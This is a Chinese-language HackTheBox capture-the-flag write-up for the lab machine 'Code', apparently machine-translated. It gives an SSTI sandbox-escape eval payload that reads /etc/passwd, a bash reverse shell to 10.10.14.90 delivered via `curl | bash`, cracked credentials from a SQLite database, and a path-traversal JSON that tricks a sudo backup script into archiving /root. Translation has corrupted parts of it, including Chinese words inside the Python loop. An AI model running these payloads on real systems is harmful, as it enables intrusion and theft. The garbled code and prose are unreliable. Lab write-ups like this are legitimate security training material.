> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md). # Code HackTheBox 复盘 Code HackTheBox 简单 Linux 机器复盘，涵盖 SSTI 漏洞利用——Python 代码编辑器、SQLite 数据库提取与哈希破解、通过路径操纵绕过 backy.sh（提权）、Tar Arc {% embed url="" %} {% hint style="warning" %} **技能：** * SSTI 利用 – Python 代码编辑器 * SQLite 数据库提取与哈希破解 * 通过路径操纵绕过 backy.sh（权限提升） * 从根目录提取 Tar 归档 {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.62 -oG allPorts ```

**使用 extractPorts 分析开放端口：** 使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.5000） ```bash nmap -sCV -p22,5000 10.10.11.62 -oN targeted ```

## SSTI 利用 – Python 代码编辑器

在 5000 端口发现了一个 Python 代码编辑器。在常规注入尝试（`import os`, `exec`等）时，会产生错误。

为绕过限制，我们使用循环来识别一个允许访问内置函数的类（`__builtins__`): ```python for i in range(500): try: x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__'] 如果 x 中包含 'ev'+'al'： print(i) except Exception as e: continue ``` > 这段 Python 循环试图通过搜索 Python 基对象的子类（`object`）来寻找一个通过其暴露全局环境（`__globals__`）通过其 `__init__` 方法暴露全局环境。在每次迭代中，它都会通过重构名称来获取内置函数字典（`__builtins__`），以绕过简单过滤。如果对象包含 `eval` 函数，则打印该类的索引。此技术通常用于访问危险函数，例如 `eval`, `exec`，以及 `打开`.

### 读取 `/etc/passwd` 一旦包含 `eval` 的对象被识别出来，我们执行： {% code overflow="wrap" %} ```python print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()')) ``` {% endcode %} 这会显示两个用户： `martin` 和 `production`.

### **反向 Shell** #### 在 443 端口监听： ```bash nc -nvlp 443 ``` #### 反向 shell 脚本：创建一个 `index.html` 包含以下内容的文件： {% code overflow="wrap" %} ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.90/443 0>&1 ``` {% endcode %} 启动 Web 服务器： ```bash python3 -m http.server 80 ``` 载荷注入： {% code overflow="wrap" %} ```bash print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()')) ``` {% endcode %}

#### 终端处理： ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### user.txt 标志 :)

## 权限提升 ### 使用用户进行 SSH 访问 `martin`

我们发现一个 `database.db` 文件。通过 SQLite 检查可发现两个用户（`development`, `martin`）及其密码哈希。 ```sql sqlite3 database.db ```

Users	哈希
development	759b74ce43947f5f4c91aeddc3e5bad3
martin	3de6f30c4a09c27fc71932bfc68474be

使用以下工具破解密码： [CrackStation](https://crackstation.net/)，然后连接： {% embed url="" %}

Users	哈希
development	development
martin	nafeelswordsmaster

```bash ssh martin@10.10.11.62 ```

### Sudo - backy.sh（脚本）我们得知 `martin` 可以运行 `/usr/bin/backy.sh` 以 root 身份。 ```bash sudo -l ```

**脚本检查：** * 给定的 JSON 文件是否存在， * 中的每个路径 `directories_to_archive` 都位于 `/var/` 或 `/home/`, * 通过 `../` 序列使用 `jq`. ```bash #!/bin/bash if [[ $# -ne 1 ]]; then /usr/bin/echo "用法：$0 " exit 1 fi json_file="$1" if [[ ! -f "$json_file" ]]; then /usr/bin/echo "错误：未找到文件 '$json_file'。" exit 1 fi allowed_paths=("/var/" "/home/") updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file") /usr/bin/echo "$updated_json" > "$json_file" directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]') is_allowed_path() { local path="$1" for allowed_path in "${allowed_paths[@]}"; do if [[ "$path" == $allowed_path* ]]; then return 0 fi done return 1 } for dir in $directories_to_archive; do if ! is_allowed_path "$dir"; then /usr/bin/echo "错误：不允许 $dir。仅允许 /var/ 和 /home/ 下的目录。" exit 1 fi done /usr/bin/backy "$json_file" ``` **绕过：** 我们配置一个 `pwned.json` 文件： ```json { "directories_to_archive": [ "/home/....//....//./root/" ], "destination": "/home/martin/pwned" } ``` 执行： ```bash sudo /usr/bin/backy.sh pwned.json ```

解压： ```bash tar -xf code_home_.._.._._root_2025_April.tar.bz2 ``` ### root.txt 标志 :)

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